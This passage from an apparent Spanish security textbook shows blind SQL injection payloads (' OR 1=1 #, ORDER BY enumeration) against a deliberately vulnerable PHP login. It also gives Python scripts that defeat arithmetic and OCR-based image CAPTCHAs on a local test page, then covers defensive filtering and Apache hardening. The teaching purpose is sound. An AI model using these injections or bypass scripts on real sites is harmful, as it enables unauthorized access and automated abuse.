tabla que consultábamos: el nombre de la tabla, el nombre de los campos, etc. En la práctica éste no suele ser el caso. Sin embargo, en determinadas circunstancias se puede llegar a conocer la estructura de las tablas, como por ejemplo:  Provocando un error en el servidor, dejándolo muy locuaz.  Encontrando el CMS utilizado para realizar el sitio web. Pero en la situación en la que no hemos tenido éxito en obtener información, estamos completamente a ciegas. Es aquí donde interviene la técnica de Blind SQL. 4. Técnica de Blind SQL Tal y como su nombre indica, es una técnica que se utiliza en el caso de que el servidor no sea muy locuaz. Por lo tanto, en primer lugar vamos a corregir el script php del apartado anterior para ubicarnos en esta situación. Comenzaremos por comentar algunas líneas, añadiremos otras cuatro para tratar el caso de la entrada de un usuario desconocido y modificaremos algunas otras para que nos den menos información. Así es como queda finalmente la parte de procesamiento del formulario: <!-- pasamos a php para procesar el formulario --> <?php //procesamiento del formulario if ($_POST[ref]==’identificacion’) { //obtención de los datos del formulario $usuario = $_POST[usuario]; $contrasena = stripslashes($_POST[contrasena]); //en este punto sería interesante filtrar los datos, pero //por el momento no lo haremos //conexión al servidor de BBDD $con = mysql_connect(’localhost’,’user_eni’,’user_eni’); if ($con) { //echo "Conexión al servidor de BBDD.<br>"; //selección de base de datos if (mysql_selectdb(’eni’,$con)) { //echo "Consulta a la base de datos eni.<br>"; //envío de la consulta $req="SELECT usuario, contrasena FROM usuarios WHERE usuario=’$usuario’ AND contrasena=’$contrasena’;"; //echo "Envío de la consulta: ".$req."<br>"; $id_req=mysql_query($req); // comprobación de que la consulta se ha ejecutado //correctamente if ($id_req) { //intento de lectura del primer registro $linea=mysql_fetch_array($id_req, MYSQL_ASSOC); //comprobación de que existe el registro if ($linea) { //comprobación de los datos de la //BBDD con los del formulario if (($linea[usuario]==$usuario) and ($linea[contrasena]==$contrasena)) { echo "Usuario autentificado"; } else { echo "Compruebe su usuario y su contraseña<br>"; } } else { echo "Desconocido<br>"; } } else { //$error_sql=mysql_error($con); echo "Error<br>"; } } else { echo "Error<br>"; } //cierre de la conexión al servidor mysql_close($con); } else { //mensaje de error echo "Error<br>"; } } ?> Hagamos algunas pruebas: Introduzcamos jmiro como identificador y S45qj7xsD como contraseña. La respuesta del servidor es la siguiente: Comprobamos que el servidor tiene un funcionamiento normal indicándonos que el usuario se ha autentificado. Introducimos ahora jmiro como usuario y test como contraseña. La respuesta del servidor es la siguiente: Comprobamos que si una petición correctamente formada no devuelve ningún registro de la base de datos, sea porque el usuario no existe o sea porque la contraseña no es la correcta, el servidor nos da simplemente el mensaje de Desconocido. Intentemos otra petición con jmiro como usuario y ’ OR test # como contraseña. La respuesta del servidor es la siguiente: El servidor nos devuelve poca información indicándonos simplemente que se ha producido un error. Podemos suponer que este error ha sido provocado por haber construido incorrectamente la petición. Es justamente lo que ha pasado en este caso, ya que la consulta enviada al servidor es la siguiente: SELECT usuario, contrasena FROM usuarios WHERE usuario=’jmiro’ AND contrasena=’’ OR test #’; Si no fuera ésta la razón, solamente queda otra posibilidad, ya que no sabemos cómo se ha construido el SELECT. Podría haber sido provocado por un problema de acceso al servidor. Sin embargo, dado que nuestros dos primeros intentos han funcionado, lo más probable es que haya habido un error en la consulta. Continuemos, por consiguiente, con nuestras investigaciones. Realizamos una última prueba con jmiro como usuario y ’ OR 1=1 # como contraseña: Esta inyección provoca la devolución de uno o más registros. Pero el servidor efectúa otro control antes de afirmar que nos hemos autorizado correctamente. En efecto, comprueba que los datos del formulario sean los datos devueltos por la base de datos, lo que provoca un mensaje de error. Aunque el formulario sólo nos devuelve mensajes breves, nos da información muy valiosa sobre lo que está provocando nuestra inyección:  O bien la consulta funciona pero no devuelve ningún registro.  O bien la consulta provoca un error.  O bien la consulta devuelve un registro que no puede validarse.  O bien la consulta es válida y provoca la autentificación. Vamos a intentar crear inyecciones inteligentes para deducir el máximo de elementos de la base de datos. El uso del comando UNION nos permitirá inyectar peticiones informándonos sobre el contenido de los campos de los registros. Antes de poder poner los UNION en la consulta, hay que conocer el número de campos que selecciona la consulta normal. Para ello, vamos a usar la cláusula ORDER BY. Ésta puede tomar como argumento un número que le indique el número del campo según el cual deseamos que se ordenen las respuestas. Si este número es demasiado grande en comparación al número de campos realmente seleccionados, se producirá un error. Probemos una petición con jmiro como usuario y ’ ORDER BY 1 # como contraseña. El servidor nos responderá "Desconocido". Estamos por lo tanto ante una consulta bien formada que no devuelve ningún registro. Incrementemos el número del campo hasta provocar el error. Comprobamos que se produce cuando llegamos a 3. Por lo tanto la consulta selecciona dos campos de la base de datos. Afortunadamente para nosotros, el número de campos es relativamente bajo. En una situación en la que la petición es más compleja, puede ser muy útil hacer un script que determine automáticamente este número de campos realizando automáticamente las inyecciones. Usaremos nuestro lenguaje favorito, es decir, Py Pasar un CAPTCHA 1. Presentación de distintos CAPTCHA Un CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) es un mecanismo que se implementa en páginas web con formulario para asegurarse de que es un ser humano el que valida los campos. En efecto, puede ser extremadamente peligroso que un script consiga crear una cuenta, enviar mails o incluso responder a una encuesta. Imagine si podemos crear 100 cuentas de Facebook en unos minutos. Además, en la identificación de un usuario, el uso de CAPTCHAs bloquea el uso de un programa que pueda comprobar muchas contraseñas e intentar un ataque por fuerza bruta. Pero aunque un CAPTCHA debe bloquear un script, no debe ser demasiado complicado para que un internauta lo solucione. Por lo tanto, hay que encontrar un compromiso entre la facilidad de resolución del CAPTCHA para el hombre y la robustez contra los ataques por un programa. En algunos sitios web encontramos CAPTCHAs muy simples que van únicamente a impedir el paso de robots. Es, por ejemplo, el caso de una suma que cambia cada vez que se visita la página. Este tipo de protección impide el paso de un robot que reemplazaría aleatoriamente los campos de su formulario. El segundo tipo de CAPTCHA que encontramos más a menudo consiste en la lectura de cifras, letras o palabras mostradas en la página en forma de imagen deformada. Con su uso, conseguiremos bloquear el uso de reconocimiento de caracteres. Los programas de OCR (Optical Character Recognition) han evolucionado tanto que es necesario ir deformando cada vez más las letras, las cuales pueden llegar a ser ilegibles incluso para una persona. Hay que recordar que un CAPTCHA no debe ser demasiado complicado para que un ser humano pueda resolverlo. Hay otras posibilidades para los CAPTCHA, como el reconocimiento de la foto de un animal, o incluso la comprensión de un pequeño párrafo de texto. Para no dejar de lado a las personas invidentes, se puede ofrecer el CAPTCHA por audio. Este mecanismo ha jugado una mala pasada a Google, que usaba reCAPTCHA. Los hackers demostraron que era posible reconocer la voz debido a que el diccionario usado presentaba un número de palabras bastante limitado. Pero volvamos al tema que nos ocupa demostrando cómo realizar dos CAPTCHAs, uno con una suma y otro con una imagen, y cómo evitarlos. 2. Saltarse CAPTCHAs básicos El primer CAPTCHA que vamos a usar consiste en resolver una suma presentada al usuario. Para ilustrar el mecanismo, vamos a imaginar que estamos en una página de ayuda en la que el internauta puede plantear una pregunta en línea. Las preguntas se guardarán en la base de datos eni, en la tabla preguntas y se mostrarán al principio de la página. Comencemos por crear la tabla preguntas en la base de datos eni: CREATE TABLE preguntas (id MEDIUMINT NOT NULL AUTO_INCREMENT, pregunta BLOB, PRIMARY KEY(id)); A continuación, implementamos el script preguntas.php: <?php session_start(); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Preguntas</title> <meta name="generator" content="Bluefish 2.0.1" > <meta name="author" content"eni" > <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" > <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta http-equiv="content-type" content="application/xhtml+xml; charset=UTF-8"> <meta http-equiv="content-style-type" content="text/css" > <meta http-equiv="expires" content="0" > </head> <body> <?php // se mira si se viene de un formulario if (isset($_POST[’formulario’]) AND $_POST[’formulario’]==’pregunta’) { if ($_SESSION[’captcha’]==$_POST[’captcha’]) { $con = mysql_connect(’localhost’, ’user_eni’, ’user_eni’); if ($con) if (mysql_selectdb(’eni’,$con)) { mysql_query("INSERT INTO preguntas (pregunta) VALUES (’".$_POST[’pregunta’]."’)"); } $_SESSION[’captcha’]=’’; } } } echo "<h2>Lista de preguntas</h2>"; //se muestran las preguntas guardadas en la base de datos $con = mysql_connect(’localhost’,’user_eni’,’user_eni’); if ($con) if (mysql_selectdb(’eni’,$con)) { echo "<table>"; $req="SELECT * FROM preguntas"; if ($id_req=mysql_query($req)) while ($q=mysql_fetch_array($id_req,MYSQL_ASSOC)) { echo "<tr><td>".$q[’pregunta’]."</td></tr>"; } echo "</table>"; } ?> <hr /> <h2>Escriba su pregunta</h2> <form method="post" name="frmq"> Pregunta: <input type="text" name="pregunta" size="50"> <br/> <input type="hidden" name="formulario" value="pregunta"> <br /> <?php //realización del CAPTCHA $a=rand(1,10); $b=rand(1,10); $_SESSION[’captcha’]=$a+$b; echo "Introduzca el resultado de $a + $b "; ?> <input type="text" name="captcha"> <input type="submit" name="validar" value="Validar"> </form> </body> </html> Con el uso de este script comprobamos que nuestra pregunta se guarda correctamente únicamente cuando respondemos correctamente a la pregunta del CAPTCHA. Atención, es importante reinicializar la variable de sesión que almacena el resultado del CAPTCHA después de la inserción en la base de datos. En efecto, si no tomamos esta precaución, el POST del formulario puede volverse a usar sin pasar por el formulario inicial y por lo tanto sin crear un nuevo CAPTCHA. Es un error frecuente cuando comenzamos a usar este tipo de protecciones. Esta protección puede saltarse fácilmente con el uso del siguiente script Python: #!/usr/bin/python #--*--coding:UTF-8--*-- import re, mechanize def buscarEntreEtiquetas(texto,etiquetaIni,etiquetaFin): regex=re.compile(r’’+etiquetaIni+’(.*?)’+etiquetaFin) res=regex.findall(texto) if not res: res=’no informado’ return res def supMultiEspacios(cadena): cadena=cadena.strip() cadena=re.sub("[]{2,}", " ", cadena) return cadena br = mechanize.Browser() for i in range(0,5): #desactivación del archivo robots.txt br.set_handle_robots(False) a=br.open("http://localhost/eni/preguntas.php") #selección de campos del formulario br.select_form(name="frmq") b=a.read() num1=buscarEntreEtiquetas(b,"ado de"," \+") num2=buscarEntreEtiquetas(b,"\+ ", ’<input’) print num1[0] print num2[0] num=int(num1[0])+int(num2[0]) strnum=str(num) pregunta="He aquí la pregunta " + str(i) print strnum print pregunta br.form.set_value(pregunta, name="pregunta") br.form.set_value(strnum, name="captcha") #submisión de la pregunta page=br.submit() Este script utiliza mechanize, una librería Python muy útil, que permite simular un navegador web con la gestión de la sesión. También usamos la librería re que permite la creación de expresiones regulares que nos permiten extraer los números de la página. Deberemos instalar ambas librerías para que funcione nuestro script: apt-get install python-re apt-get install python-mechanize Voluntariamente hemos limitado el bucle realizando 5 iteraciones, ¡pero imagine el resultado con un bucle que llegara a 1000! A continuación se muestra el resultado con 5: Como puede comprobar este tipo de protección es bastante fácil de saltar y hay que aportar una mejor protección. Es lo que haremos en el siguiente punto. 3. Saltarse los CAPTCHAs de imágenes Es ciertamente el método más usado para evitar las validaciones de formularios por scripts o programas. Se forma una imagen dinámicamente para mostrar un código que el usuario debe introducir. Pero veamos en primer lugar cómo se construye esta imagen dinámica. En PHP hay una librería muy fácil de usar, es GD. Comencemos por instalarla: aptitude install php5-gd A continuación, creamos una primera imagen en la que escribimos una palabra, ”Hola” por ejemplo. A continuación, mostramos el script imagen1.php: <?php $pal=’Hola’; header("Content-type: image/png"); // Creación del canvas de la imagen 200x50 $im = imagecreate(200, 50); // creación de la paleta de colores $rojo = imagecolorallocate($im, 255,0,0); $gris = imagecolorallocate($im, 150,150,150); imagefilledrectangle($im,0,0,200,50,$gris); // Definición de la variable de entorno para GD putenv(’GDFONTPATH=’. Realpath(’.’)); // Nombre de la fuente que se usará $font = ’DejaVuSans.ttf’; // Escritura de la palabra imagettftext($im, 20,0,10,30, $rojo, $font, $pal); // Creación de la imagen en png imagepng($im); imagedestroy($im); ?> Comenzamos enviando una cabecera para indicar al navegador que se trata de una imagen PNG. Creamos, a continuación, la imagen con un tamaño de 200 por 50 píxeles. Para utilizar colores en la imagen hay que definir una paleta de colores. Finalmente, podemos dibujar la imagen. Si deseamos escribir texto, deberemos introducir una fuente y su ruta. Lo más sencillo es copiar la fuente en donde se encuentre la imagen. Hemos elegido la fuente DejaVuSans.ttf. Cuando llamamos al script correspondiente a nuestra imagen en un navegador, he aquí lo que obtenemos: Modificamos nuestro script para que pueda mostrar caracteres transmitidos por una variable de sesión. Cada carácter deberá tener un color y una inclinación propios para complicar el reconocimiento óptico. He aquí el script modificado, al que llamaremos captcha1.php: <?php session_start(); $codigo=$_SESSION[’captcha’]; header("Content-type: image/png"); // Creación del canvas de la imagen 200x50 $im = imagecreate(200, 50); $gris = imagecolorallocate($im, 150,150,150); imagefilledrectangle($im,0,0,200,50,$gris); // Definición de la variable de entorno para GD putenv(’GDFONTPATH=’. Realpath(’.’)); // Nombre de la fuente que se usará $font = ’DejaVuSans.ttf’; // Escritura del código for ($x=0;$x<=strlen($codigo);$x++) { $r=rand(0,255); $g=rand(0,255); $b=rand(0,255); $col=imagecolorallocate($im, $r, $g, $b); $txt=substr($codigo, $x, 1); $angulo= rand(-10,10); imagettftext($im, 20,$angulo,10+25*$x, 30, $col, $font, $txt); } // Creación de la imagen en png imagepng($im); imagedestroy($im); ?> Si intentamos mostrar la imagen directamente en nuestro navegador, no nos funcionará, ya que la variable de sesión que contiene el código que mostraremos no se ha inicializado. Por lo tanto, hay que incorporar esta imagen en nuestro formulario de preguntas después de haber generado el código que se debe mostrar. Vamos a modificar el código situado justo debajo del comentario ”Realización del CAPTCHA”: //realización del CAPTCHA $codigo=’’; $carac_dispo="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=1;$i<=6;$i++) { $posicion =rand(0,strlen($carac_dispo)-1); $codigo=$codigo.substr($carac_dispo,$posicion,1); } $_SESSION[’captcha’]=$codigo; echo "Introducir los caracteres siguientes: "; ?> <img src="captcha1.php" alt="captcha" /> <input type="text" name="captcha"> Con la ayuda del bucle for, generamos una cadena de 6 caracteres elegidos entre una lista indicada en la cadena $carac_dispo. De este modo, el código generado se transmitirá a nuestro script de construcción de imágenes a través de la variable de sesión captcha. Ahora vamos a intentar construir un script capaz de enviar preguntas automáticamente y por lo tanto de pasar el captcha. Lo realizaremos en Python. Las librerías urllib2 y urllib nos van a permitir obtener la imagen del captcha y de enviar su interpretación. La gestión de las cookies se realizará gracias a cookielib. Falta por elegir la herramienta que se usará para el reconocimiento de caracteres. Hay varias alternativas: tesseract, gocr, OCRopus, etc. Vamos a usar gocr y tesseract intentando comparar sus rendimientos. A continuación mostramos el script en Python que usa gocr: #!/usr/bin/python #--*--coding:UTF-8--*-- import urllib, urllib2, cookielib, os, Image pag_captcha="http://localhost/eni/" urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar() )) for i in range(0,5): #obtención de la imagen del captcha url_site=urllib2.Request(pag_captcha+’preguntas.php’) respuesta = urlOpener.open(url_site) source = respuesta.read() url_site = urllib2.Request(pag_captcha+’captcha1.php’) respuesta = urlOpener.open(url_site) source = respuesta.read() img=open("captcha.png","w") img.write(source) img.close() #tratamiento de la imagen print "Tratamiento de la imagen"+str(i) im1 = Image.open(’captcha.png’) im2 = Image.new("L", im1.size,255); #se pasa la imagen a niveles de gris im1 = im1.convert("L") #se considera que el primer pixel de arriba a la izquierda corresponde al color del fondo colfondo=im1.getpixel((0,0)) for x in range(im1.size[0]): for y in range(im1.size[1]): pix = im1.getpixel((x,y)) if pix == colfondo: # filtra el color blanco im2.putpixel((x,y),255) else: im2.putpixel((x,y),0) im2.save(’imagen.png’) #Lectura de la imagen os.system("gocr imagen.png > captcha.txt") txt=open("captcha.txt", "r") captcha=txt.read() txt.close() captcha=captcha.replace(’ ’, ’’) captcha=captcha.replace(’\n’, ’’) print "el captcha es: "+captcha #Envío del captcha para validarlo valores = {’pregunta’ : ’Pregunta de paso: ’ + str(i), ’formulario’ : ’pregunta’, ’captcha’ : captcha, ’validar’ : ’Validar’ } data = urllib.urlencode(valores) peticion=urllib2.Request(pag_captcha+’preguntas.php’, data) respuesta = urlOpener.open(peticion) contenido = respuesta.read() #borrado de los archivos utilizados os.system("rm captcha.txt") os.system("rm imagen.png") En primer lugar, cargamos las librerías que nos serán útiles. A continuación, definimos la URL del sitio web en el que se encuentra el formulario. UrlOpener nos permite activar la gestión de cookies. Elegimos hacer 5 intentos de validación automática. La primera fase en el bucle consiste en obtener la imagen del captcha. Ésta se realiza en dos tiempos: primero, llamamos a la página del formulario forzando la generación de un nuevo captcha y, a continación, obtenemos la imagen propiamente dicha y la guardamos en el disco. Si intentamos interpretar esta imagen directamente por un OCR, comprobamos que la paleta de colores entorpece enormemente el reconocimiento. Por lo tanto, tenemos que pasar nuestra imagen a blanco y negro. Pero atención, queremos pasar las letras en negro y el fondo en blanco, para ello utilizamos un bucle que recorerá la imagen completa cambiando el color de los píxeles según convenga. Hemos considerado que el primer píxel de arriba a la izquierda se corresponde con el fondo. Cambiamos, por tanto, este color al blanco y todo el resto pasará a color negro. Vemos en la imagen anterior la transformación que realiza nuestro tratamiento. Nos queda pasar esta nueva imagen por el programa de reconocimiento de caracteres. Como hemos comentado, en primer lugar usaremos gocr. Enviamos por último los datos del formulario y se muestran los resultados de la ejecución del script. Previamente, hemos vaciado nuestra tabla de preguntas para ver aparecer las que pertenecen a estas validaciones automáticas. Comprobamos que sólo conseguimos validar una sola pregunta de 5 si lo hacemos por programa. Hagamos más pruebas. Pasando nuestro bucle a 100 iteraciones, por ejemplo, obtenemos alrededor de un 30 % de validaciones exitosas. Faltaría, por supuesto, hacer más pruebas para poder establecer una estadística más fiable. Cambiemos nuestro OCR y usemos tesseract. Hay que instalarlo en nuestro equipo. El comando siguiente debería realizarlo: apt-get install tesseract-ocr tesseract-ocr-spa A continuación, para poderlo utilizar directamente en nuestro script Python y evitar pasar por comandos de sistema y archivos intermedios como hemos hecho con gocr, podemos instalar pytesser. Hay que buscar el archivo pytesser_v0.0.1.zip en la siguiente dirección: http://code.google.com/p/pytesser/downloads/list Para poder usarlo en nuestro script hay que descomprimir el archivo en la ubicación donde se encuentra nuestro script. Sólo nos falta modificar nuestro script. Comencemos por añadir la línea que importa pytesser al comienzo del script, justo debajo del import urllib2: from pytesser import * Última modificación, la parte de lectura de la imagen se reemplaza por el siguiente código: captcha=image_to_string(im2) captcha=captcha.replace(’ ’,’’) captcha=captcha.replace(’\n’,’’) Es mucho más simple que con el uso de gocr. Si ejecutamos nuestro script con un bucle de 100 iteraciones obtenemos más del 50 % de éxito. Varias pruebas de 100 iteraciones con gocr y tesseract demuestra que estamos siempre alrededor de 30 % con gocr y en más del 50 % con tesseract. Pero este último también parece ir más lento. En todo caso estamos lejos del 100 %. Si ahora modificamos el script captcha1.php cambiándole el ángulo de las letras: $angle = rand(-60,60); y añadiendo un poco de ruido después del bucle que escribe los caracteres: for ($i=0;$i<500;$i++) { $x = rand(0,200); $y = rand(0,50); $r = rand(0,255); $g = rand(0,255); $b = rand(0,255); $col = imagecolorallocate($im, $r, $g, $b); imagesetpixel($im, $x, $y, $col); } Ninguno de los OCR es capaz de validar una sola vez el formulario en 100 iteraciones. Sin embargo, nosotros siempre somos capaces de leer lo que se escribe: Faltaría hacer un tratamiento más profundo de la imagen para ayudar al OCR. Por ejemplo detectando la posición de las letras y corrigiendo su ángulo. También podemos intentar reducir la suciedad eliminando los píxeles que parecen aislados. Pero, en cualquier caso, esto sobrepasa el marco de esta obra. Sin embargo, es importante que sepa que se ha progresado mucho con estas técnicas y que por este motivo encontrará CAPTCHAs cada vez menos legibles, hasta el punto que a veces ni un hombre es capaz de leerlos. Las nuevas amenazas en la web Las tecnologías web evolucionan extremadamente rápido. Vemos cómo se intensifica la noción de interactividad con el cliente. Esto genera la aparición de nuevas tecnologías como AJAX y la evolución de algunas como Flash, que puede que desaparezca con la llegada de HTML5, el tiempo nos dirá. El aumento del flujo de datos ha requerido una reflexión sobre la tecnología y es así como NoSQL se ha convertido en un elemento esencial. Google, Facebook, Twitter, SourceForge, etc. ya utilizan este tipo de bases de datos gigantescas que un servidor de bases de datos relacionales no puede gestionar con tiempos de respuesta suficientemente cortos. En el lado servidor también hay que optimizar el tiempo y nuestro viejo Apache ve la aparición de nuevos servidores más reactivos, como Node JS, cuya filosofía asíncrona es mucho más potente pero con mecanismos de seguridad diferentes. Todas estas tecnologías requieren una comunicación más notable entre diversas fuentes, haciendo que la seguridad del sistema sea más complicada. Esta interconexión va más allá de una simple conexión cliente/servidor entre dos máquinas. Inunda nuestros teléfonos móviles, nuestros televisores, nuestros GPS, etc. Todo está interconectado. Seguramente habrá descargado alguna vez aplicaciones gratuitas para su smartphone, ¿cómo estar seguro de su seguridad? Por lo tanto es urgente disponer de autoridades competentes que puedan garantizar el buen funcionamiento de un programa o, por lo menos, su ética, y esto es difícil de lograr. Sin embargo, podemos comprobar una evolución, por ejemplo con el uso prácticamente sistemático de certificados validados por una autoridad tercera que garantiza su validez para toda transacción sensible en Internet. Sería necesario un libro entero para explicar, con ejemplos, estas nuevas amenazas. Nos contentamos simplemente con mencionarlas. Contramedidas y consejos de seguridad 1. Filtrar todos los datos Hemos comprobado a lo largo de los distintos ataques presentados que todos los datos devueltos por un cliente pueden alterarse. Por lo tanto es indispensable filtrar el conjunto de datos que el servidor recibe antes de iniciar cualquier acción con ellos. Una de las técnicas de filtrado que funciona especialmente bien es el uso de expresiones regulares. Hay mucha documentación acerca de éstas y este libro no tiene como propósito el realizar un curso de regex. Una expresión regular, a menudo llamada también patrón, es una expresión que describe un conjunto de cadenas sin enumerar sus elementos. Por ejemplo, el grupo formado por las cadenas Handel, Händel y Haendel se describe mediante el patrón "H(a|ä|ae)ndel". La mayoría de las formalizaciones proporcionan los siguientes constructores: una expresión regular es una forma de representar a los lenguajes regulares (finitos o infinitos) y se construye utilizando caracteres del alfabeto sobre el cual se define el lenguaje. Específicamente, las expresiones regulares se construyen utilizando los operadores unión, concatenación y clausura de Kleene. Además cada expresión regular tiene un autómata finito asociado. (fuente: Wikipedia). Encontrará dos tipos de función en PHP para expresiones regulares:  Las funciones POSIX, que es el acrónimo de Portable Operating System Interface, cuya X expresa la herencia UNIX.  Las funciones PCRE, que es el acrónimo de Perl Compatible Regular Expressions. Las funciones PCRE presentan más ventajas que las funciones POSIX:  Más rápidas.  Utilización de referencias inversas.  Captura de todas las ocurrencias. Las funciones PCRE:  preg_grep: devuelve una tabla con los resultados de la búsqueda.  preg_quote: protección de caracteres especiales de las expresiones regulares.  preg_match: expresión regular estándar.  prg_match_all: expresión regular global.  preg_replace: busca y reemplaza por expresión regular estándar.  preg_replace_callback: busca y reemplaza por expresión regular estándar utilizando la función de callback.  Etc. A todas las funciones PCRE hay que pasarles un patrón (pattern) que describe lo que se está buscando. Los patrones se componen de caracteres y símbolos.  Los caracteres literales:  a se corresponde con la letra "a" y con ninguna otra.  gato se corresponde con la palabra "gato" y con ninguna otra.  Los símbolos de inicio y final de cadena y el punto:  ˆ indica el comienzo de la cadena - ejemplo: ˆgato reconoce una línea que empieza por gato.  $ indica el final de la cadena - ejemplo: gato$ reconoce una línea que acabe con gato.  . el punto es un comodín, indica cualquier carácter.  Los símbolos cuantificadores:  * indica 0, 1 o más ocurrencias del carácter o de la clase anterior.  + indica una o más ocurrencias del carácter o de la clase anterior.  ? indica 0 o una ocurrencia del carácter o de la clase anterior.  Los intervalos de reconocimiento:  a{3} se corresponde exactamente con aaa.  a{2,} se corresponde como mínimo con dos a consecutivas, es decir: aa, aaa, aaaaa...  a{2,4} se corresponde únicamente con aa, aaa, aaaa. Nos detenemos aquí, ya que hay libros enteros dedicados a las expresiones regulares y no son el objetivo de este libro. Acabaremos con algunos ejemplos para ilustrar esta descripción:  para quitar todos los caracteres que no sean cifras de una expresión: $num1=preg_replace("{[ˆ0-9]}","",$num1)  otros ejemplos de patrones:  número del 1 al 100: ˆ([1-9]$|ˆ[1-9]\d$|ˆ100)$  validación de una fecha: ˆ(([1-9])|(0[1-9])|(1[0-2]))\/(([0-9])| [0-2][0-9])|(3[0- 1]))\/(([0-9][0-9])|([1-2][0,9][0-9][0-9]))$ 2. Fortalecer la identificación del cliente Hemos visto anteriormente que la identificación de un cliente con una sola y única cookie no era suficiente. Es necesario que el servidor memorice más información sobre el cliente sin tener por ello que disminuir el aspecto funcional del servicio que ofrece. Sería inconcebible pedir de nuevo el nombre de usuario y la contraseña a un internauta para cada acción que realiza. La idea de memorizar la dirección IP del cliente se utiliza a menudo. Pero si se trata de una IP dinámica, se pierde su sesión cuando el cliente cambia de IP. Este fenómeno puede ser muy molesto. Por el contrario, el servidor puede memorizar la cadena de identificación del navegador, la resolución de pantalla del cliente o su sistema operativo. En este caso, incluso si el pirata consigue robar la cookie de sesión de un usuario, le faltará todavía usar una configuración estrictamente idéntica a la del cliente. Sin garantizar al 100% que no será posible suplantar la sesión de un internauta, se volverá mucho más difícil. 3. Configurar sabiamente el servidor Como ya hemos mencionado, es deseable que nuestro servidor proporcione el mínimo de información posible. Para ello debemos configurarlo correctamente. En Apache2, existen dos variables en los archivos de configuración que se tienen que ajustar correctamente:  Se puede desactivar la presentación del servidor en la cabecera con la directiva: ServerTokens Prod.  Es preferible desactivar la firma del servidor, en los archivos de error por ejemplo, con la directiva: ServerSignature off.  Además, no hay que olvidar impedir que el servidor liste los archivos de una carpeta excepto si es el comportamiento deseado. Para ello, hay que quitar Indexes y FollowSymLinks de las opciones ya que es la configuración por defecto, como muestra el siguiente ejemplo: <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> Una solución muy interesante para evitar inyecciones en la URL consiste en usar el URL Rewriting. Como su nombre permite intuir, esta técnica permite reescribir la dirección con separadores a su elección. A continuación, una expresión regular extraerá las variables del nombre de archivo invocado. Pero el URL rewriting va más allá. Le dejo un muy buen tutorial que puede encontrar en la siguiente dirección: http://httpd.apache.org/docs/2.0/misc/rewriteguide.html Cada tipo de servidor tiene sus propias directivas. Lo importante es concienciarnos de que hay que interesarse por la configuración de nuestro servidor y no dejar los ajustes por defecto como tenemos todos tendencia a hacer. Conclusión El objetivo de este capítulo era concienciarnos sobre los problemas de seguridad que nos podemos encontrar en la Web. Sólo le hemos dado un pequeño vistazo. Como hemos mencionado, existe tal cantidad de situaciones, de lenguajes, de servidores, que necesitaríamos varios libros para abordarlas. Pero si después de la lectura de esta pequeña parte se ha concienciado de que hay que filtrar todo lo que proviene del cliente y no descuidar la configuración del servidor, nuestro objetivo se ha cumplido. Los dos ataques más peligrosos clasificados por OWASP en 2010 son las inyecciones y los fallos XSS, a continuación les siguen los ataques de autentificación y de robo de sesión. Por lo tanto es primordial efectuar múltiples controles antes de iniciar una petición a su base de datos si ésta contiene elementos facilitados por el cliente. Enlaces útiles: Documentación de PHP: http://php.net Documentación de MySQL: http://www.mysql.com Documentación de Apache 2: http://httpd.apache.org Buenos tutoriales de expresiones regulares y URL Rewriting: http://httpd.apache.org/docs/2.0/misc/rewriteguide.html Inyección de SQL: http://hakipedia.com/index.php/SQL-Injection Documentación de Python: http://python.org/d Generalidades Los sistemas operativos son cada vez más sofisticados y simplifican enormemente las cosas. En efecto, los mecanismos subyacentes, a veces muy complicados, se esconden para que el mayor número posible de elementos puedan servirse de las herramientas informáticas, desgraciadamente a menudo en detrimento de la seguridad. Sin embargo, desde hace algunos años, los diseñadores están tratando de añadir más seguridad, pero con usuarios que no están habituados o formados para comprenderla, a menudo es un fracaso. En efecto, cuando hay mecanismos demasiado restrictivos, los usuarios prefieren desactivarlos. Por ejemplo, para evitar tener que introducir una contraseña contínuamente. Es así como, gracias a la facilidad de obtención de un ordenador y del acceso a Internet, el número de máquinas zombies que permiten realizar ataques disimulados aumenta sin parar. Pero esta constatación no se detiene ahí: desde los orígenes del montaje de productos electrónicos, los elementos de nuestro día a día como teléfonos móviles, neveras, televisores... albergan en su interior un sistema operativo completo que puede ser modificado. Además, al ser sistemas que se pueden comunicar, este nuevo tipo de hardware tiene riesgos adicionales, cuyos problemas pueden ser críticos: la alarma de una casa que se puede desactivar desde Internet es un simple ejemplo. Veamos en este capítulo del libro las debilidades de nuestros sistemas, cómo explotarlas y, sobre todo, cómo protegerse. Contraseñas 1. Introducción Las contraseñas son actualmente la medida más extendida para controlar el acceso a recursos restringidos. Se utilizan desde hace siglos, especialmente en el ámbito militar, e intervienen a varios niveles: cuando arrancamos nuestro ordenador, cuando accedemos al correo... En informática, una contraseña es un conjunto de caracteres, no obligatoriamente formado únicamente de cifras y letras, con o sin significado. 2. Averiguar una contraseña en Microsoft Windows Comencemos por un truco muy fácil: mostrar una contraseña escondida por los famosos asteriscos o los puntos. Algunas aplicaciones ofrecen la posibilidad de recordar contraseñas. Es muy práctico porque, cuando se ejecutan, el campo de introducción de contraseña se rellena automáticamente y sólo es necesario validar. Por supuesto, la contraseña se esconde con asteriscos o puntos, pero esta forma de ocultarla es fácilmente desbaratable con herramientas como Asterisk Logger: http://www.nirsoft.net/utils/astlog.html Revelación de las contraseñas ocultas Basta con iniciar el programa del que queremos recuperar la contraseña y ejecutar Asterisk Logger. La contraseña aparece entonces visible en la ventana de este último. 3. Complejidad Sin profundizar en criptografía, la resistencia de una contraseña a ser adivinada la define su complejidad. Hay que tener bien claro que una contraseña no es una garantía de protección absoluta. Solamente permite ralentizar, de forma más o menos eficaz, a un atacante. De hecho, probar todas las combinaciones posibles permitirá ineludiblemente obtener el acceso al sistema protegido. Tomemos como ejemplo un caso real: la pérdida del código de un antirrobo de bicicleta, formada 3 ruletas numeradas del 0 al 9. Cada ruleta tiene por lo tanto 10 valores. Las 3 ruletas generan entonces 10*10*10 casos posibles, es decir, 1000. 1000 intentos sucesivos pueden realizarse en un tiempo razonable, el cierre puede ser desmontado sin saber el código. En informática sucede lo mismo, y es incluso peor. Se pueden automatizar acciones, y un ordenador va 